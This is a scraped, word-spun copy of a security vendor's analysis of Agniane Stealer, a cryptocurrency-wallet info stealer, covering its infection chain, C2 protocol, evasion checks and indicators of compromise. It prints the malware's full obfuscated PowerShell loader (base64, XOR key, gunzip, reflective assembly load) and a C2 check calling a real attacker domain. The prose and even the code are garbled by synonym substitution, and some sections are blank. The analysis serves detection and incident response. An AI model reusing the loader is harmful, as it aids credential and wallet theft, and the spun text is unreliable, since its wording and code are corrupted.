13.2 C
Friday, February 16, 2024

Agniane Stealer: Data stealer focusing on cryptocurrency customers

The Agniane Stealer is an information-stealing malware primarily focusing on the cryptocurrency wallets of its victims. It gained recognition on the web beginning in August 2023. Lately, now we have noticed a definite marketing campaign spreading it throughout our telemetry. Our current examine has led to the profitable identification and detailed evaluation of a beforehand unrecognized community URL sample. Our researchers have not too long ago uncovered extra data on the malware’s strategies for file assortment and the intricacies of its command and management (C2) protocol. We even have new reverse engineering insights into the malware’s structure and communication.

We imagine our work contributes to tactical and operational ranges of intelligence concerning Agniane Stealer. It may possibly show helpful from incident response to detector improvement and could be extra appropriate for a technical viewers.

The Agniane Stealer has already been referenced in a number of articles. The Agniane stealer malware is being actively marketed and offered via a Telegram channel, accessible at t[.]me/agniane. Potential consumers could make purchases instantly by way of this channel by interacting with a specialised bot, named @agnianebot, which facilitates the transaction course of and gives further details about the malware.” Our technical evaluation signifies that it makes use of the ConfuserEx Protector and goals at similar targets. Nonetheless, it employs a definite C2 technique, based mostly on the pattern noticed in our telemetry knowledge. Due to this fact, now we have determined to publish a technical evaluation of the pattern.


Throughout our threat-hunting workouts in November 2023, now we have observed a sample of renamed PowerShell binaries, known as passbook.bat.exe. On nearer inspection of the host machines, now we have recognized infections of the newly found malware household of Agniane Stealer. Menace analysis Gameel Ali (@MalGamy12) first disclosed the existence of this malware on their X account. Researchers from the Zscaler ThreatLabz Workforce [2] and Pulsedive Menace Researchers [3] ultimately adopted up with weblog posts of their very own. Our work goals to contribute further data understanding campaigns involving the usage of Agniane Stealer.

Execution Chain

Execution chain.

The infections we detected appear to begin with the downloading of ZIP recordsdata from compromised web sites. All of the web sites from the place now we have seen the obtain of this file in our telemetry are regular web sites with reliable content material. All obtain URLs had the beneath URL sample:

http[s]://<area identify>/book_[A-Z0-9]+-d+.zip

As soon as downloaded and extracted, the downloaded ZIP file drops a BAT file (passbook.bat) and extra ZIP file on the file system. The BAT file comprises an obfuscated payload and after its execution via cmd.exe, it drops an executable which is renamed model of PowerShell binary (passbook.bat.exe). [4]

This enamed PowerShell was used to execute sequence of obfuscated instructions.

passbook.bat.exe -noprofile -windowstyle hidden -ep bypass -command $_CASH_esCqq = [System.IO.File]::(‘txeTllAdaeR'[-1..-11] -join ”)(‘C:UsersuserAppDataLocalTemp15Rar$DIa63532.21112passbook.bat’).Cut up([Environment]::NewLine);foreach ($_CASH_OjmGK in $_CASH_esCqq) { if ($_CASH_OjmGK.StartsWith(‘:: @’)) { $_CASH_ceCmX = $_CASH_OjmGK.Substring(4); break; }; };$_CASH_ceCmX = [System.Text.RegularExpressions.Regex]::Substitute($_CASH_ceCmX, ‘_CASH_’, ”);$_CASH_afghH = [System.Convert]::(‘gnirtS46esaBmorF'[-1..-16] -join ”)($_CASH_ceCmX);$_CASH_NtKXr = [System.Convert]::(‘gnirtS46esaBmorF'[-1..-16] -join ”)(‘ws33cUsroVN/EsxO1rOfY1zGajQKWVFEvpkHI/JP6Is=’);for ($i = 0; $i -le $_CASH_afghH.Size – 1; $i++) { $_CASH_afghH[$i] = ($_CASH_afghH[$i] -bxor $_CASH_NtKXr[$i % $_CASH_NtKXr.Length]); };$_CASH_DIacp = New-Object System.IO.MemoryStream(, $_CASH_afghH);$_CASH_yXEfg = New-Object System.IO.MemoryStream;$_CASH_QbnHO = New-Object System.IO.Compression.GZipStream($_CASH_DIacp, [IO.Compression.CompressionMode]::Decompress);$_CASH_QbnHO.CopyTo($_CASH_yXEfg);$_CASH_QbnHO.Dispose();$_CASH_DIacp.Dispose();$_CASH_yXEfg.Dispose();$_CASH_afghH = $_CASH_yXEfg.ToArray();$_CASH_hCnlS = [System.Reflection.Assembly]::(‘daoL'[-1..-4] -join ”)($_CASH_afghH);$_CASH_Xhonj = $_CASH_hCnlS.EntryPoint;$_CASH_Xhonj.Invoke($null, (, [string[]] (”)))

The command line proven above performs the next actions:

  • Reads the content material of the beforehand extracted BAT file (passbook.bat).
  • By way of string matches and replacements, builds the payload dynamically and assigns it to a variable.
  • Transformed payload and static key from Base64 to a byte array.
  • XOR’d the payload utilizing a static key.
  • Decompressed XOR’d payload utilizing GZIP.
  • Invokes payload after reflectively loading it into reminiscence.

To grasp actions taken towards the target, we reversed the payload.

Binary Evaluation

The invoked payload continues with the execution of a C# meeting. We’ve got dumped it right into a file, the place we get the executable with beneath hash,


At time of the evaluation, the file was unknown to on-line sandboxes. We’ve got determined to emulate the exercise on the Cisco Safe Malware Analytics sandbox with the generic settings on this file, which is the second stage of the deployment of the stealer. The dynamic evaluation couldn’t be accomplished as we didn’t execute the primary stage of the pattern of the malware. Due to this fact, we determined to research the pattern manually, the place we discovered later there are anti-sandbox strategies used.

The binary file was extremely obfuscated with management stream manipulations, like ConfuserEx.

Content material of the passbook.bat file. Management stream obfuscation like ConfuserEx.

You will need to notice that the pattern didn’t comprise a signature for ConfuserEx, but it had an obfuscation technique that resembled it.

After reversing the pattern, we realized it comprises one other binary file in its sources part, which have been getting reflectively loaded. The brand new binary was one other C#-based pattern, which contained the ultimate payload. It was obfuscated with ConfuserEx with direct signatures.

Content material of the passbook.bat file. Management stream obfuscation like ConfuserEx.
The C# file calling Invoke perform for in reminiscence loading and executions, a typical strategy to reflective loading of sources recordsdata.

As you’ll be able to see from the earlier screenshot, it’s calling Invoke features from an entry Level object, which comprises a parsed useful resource.

Loading useful resource knowledge from malicious pattern, which is later executed within the reminiscence. The beginning of the execution is within the picture above.

The complete loading course of seems as if passbook.bat.exe is executing PowerShell, which is deobfuscating passbook.bat. This, in flip, is working the tmp385C.tmp (tmp385C.tmp is only a header file identify) C# purposes, which reflectively load the _CASH_78 C# utility. The ultimate utility on this sequence is the Agniane Stealer:

Malware execution chain. _CASH_78 is the ultimate payload. The earlier steps have been used just for obfuscations. There have been a number of levels of pattern to lastly loading _CASH_78 app. _CASH_78 app is closing malware, levels earlier than are used just for supply, obfuscations or detection evasion.

Command and Management

The Agniane Stealer operates in a simple but environment friendly method, stealing credentials and recordsdata from the endpoint utilizing a primary C2 protocol. Initially, it verifies the supply of any domains via a easy C# net request, checking if the return worth is “13.” This time request was made to a URL labeled “take a look at,” for example.

WebClient wc = new WebClient();

urlData = wc.DownloadString(“https://trecube[.]com/take a look at”);

If urlData == “13” {




In our pattern, we are able to see the next IOCs (indicators of compromise) offered in sources file:





For all these domains, the pattern is looking for a take a look at URL.

Later, the malware calls C2 to get a listing of file extensions to search for. That is positioned at URL sample getext?id= adopted by an ID – part of sources of the _CASH_78 file. On this web site, the record of extensions is separated by a semicolon, and for instance on an internet site trecube[.]retailer it appears like:

*.txt; *.doc; *.docx; *.pockets; *seed*

Once more, that is dealt with as earlier checking string within the code. It’s parsed/cut up by semicolon and a listing of extensions is created in a listing of variables in C# code.

The Code dealing with by way of dynamic evaluation, via which we recognized the C2 URL as a breakpoint for DownloadString.

Subsequently, the malware requests a distant json file containing the main points about errors, VirusTotal hits, and many others. Primarily based on this data, the pattern both progresses or halts. We selected to focus our investigation on different elements which might be extra instantly related to attribution and detection settings. Nonetheless, you will need to notice that the URL sample may be utilized for monitoring malware via telemetry or on-line sandbox providers for OSINT functions. The URL appears like:


And right here what its corresponding output appears like:


“debug”: “0”,

“emulate”: “0”,

“virtualbox”: “1”,

“virustotal”: “0”,

“error”: “0”,

“errorname”: “NONE”,

“errortext”: “NONE”

“competitor”: “0”


The subsequent stage entails enumeration and assortment. It scans the pc to gather all paperwork with specified extensions instructed by the URL with a “getext” sample, together with different credentials present in frequent paths of the working system, resembling Mozilla Firefox storage, Chrome storage and saved Home windows credentials. It is a frequent exercise amongst data stealer malware. Moreover, Agniane was checking to see the localization setting of the sufferer laptop. If it comprises any of the language packages beneath, it doesn’t proceed with the an infection,











The allowlisting of some areas can even imply the developer doesn’t wish to assault particular areas. Primarily based on different observations it’s doable to anticipate the attacker is from a rustic with a powerful diplomatic tie to Russia.

As soon as all of the goal recordsdata are collected, the malware creates a ZIP archive beneath the “native utility knowledge” folder,


Under is the construction/content material of this archive file

Agniane Stealer.txt //added as attachement right here

Installe Apps.txt //added as attachement right here

PC Data.txt //added as attachement right here

Information from Desktop //FOLDER – comprises exfiltrated recordsdata from Desktop folder

Information from … //FOLDER – comprises exfiltrated recordsdata from …


… //and different folders, which comprise exfiltrated recordsdata.

It’s later uploaded to


Under yow will discover the illustrated model of the Agniane Stealer’s C2 communication,

The C2 communication protocol.

Different TTPs

The Agniane Stealer was additionally seen performing following actions:

  • Enumerating registry key HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionUninstall for put in purposes, it additionally collects this data.
  • Checking for a public IP on a ip-api.com, i.e,
  • Dumping Bitcoin and different cryptocurrency wallets
  • Performing (not properly) checks to see if it’s working in a debugged or digital env. and many others.
  • Amassing pockets.dat recordsdata.
  • Enumerating Profile and Consumer knowledge.
  • Amassing saved bank cards.
  • Including different malware like NGenTask.exe.log (the file with the SHA cf342712ac75824579780abdb0e12d7ba9e3de93f311e0f3dd5b35f73a6bbc3).


The Agniane Stealer tries to stay undetected via numerous obfuscation and anti-VM/debug strategies. It displays frequent conduct for stealers resembling gathering and exfiltrating recordsdata, credentials password, bank card particulars, wallets, and many others. Its evasive nature and focusing on of assorted data would possibly entice extra adversaries in future to leverage its providers.

Kill Chain

Kill Chain Exercise TTP
Weaponization Use of PowerShell, ZIP file, batch file T1059.005
Supply ZIP file downloaded by the browser T1204.002
Use of compromised web sites T1584.004
Exploitation Operating Obfuscated PowerShell payload T1059.001
PowerShell decrypts payload utilizing XOR and decompress utilizing Gunzip T1140
Reflective loading of the payload via Powershell T1059.001
Use of Renamed PowerShell T1036.003
Set up
Command and Management
Actions on Aims Assortment of assorted data from the host T1119
Concentrating on of credentials T1555

Indicators of Compromise

Kind Stage IOC (indicators of compromise)
File Hash Supply 5640c02b6d125d4e14e19709296b29b8ea34fe416e18b3d227bd79310d54b8df
File Hash Supply e59b14121b64ca353b90c10ec915dbd64c09855bca9af285aa3aeac046538574
File Hash Supply b2a0c5d52b671e501ea91f8230bd266e1d459350a935ad0689833f522be66f87
Area C2 trecube[.]com
Area C2 trecube[.]retailer
Area C2 trecube13[.]ru
Area C2 imitato23[.]retailer
Area C2 wood100home[.]ru


[1] https://twitter.com/MalGamy12/standing/1688984207752663040?t=xECvfQF8pujQERAmhfI41w
[2] https://www.zscaler.com/blogs/security-research/agniane-stealer-dark-web-s-crypto-threat
[3] https://weblog.pulsedive.com/analyzing-agniane-stealer/
[4] https://www.pcrisk.com/removal-guides/27510-agniane-stealer

We’d love to listen to what you suppose. Ask a Query, Remark Under, and Keep Linked with Cisco Safety on social!

Cisco Safety Social Channels



Latest news
Related news


Please enter your comment!
Please enter your name here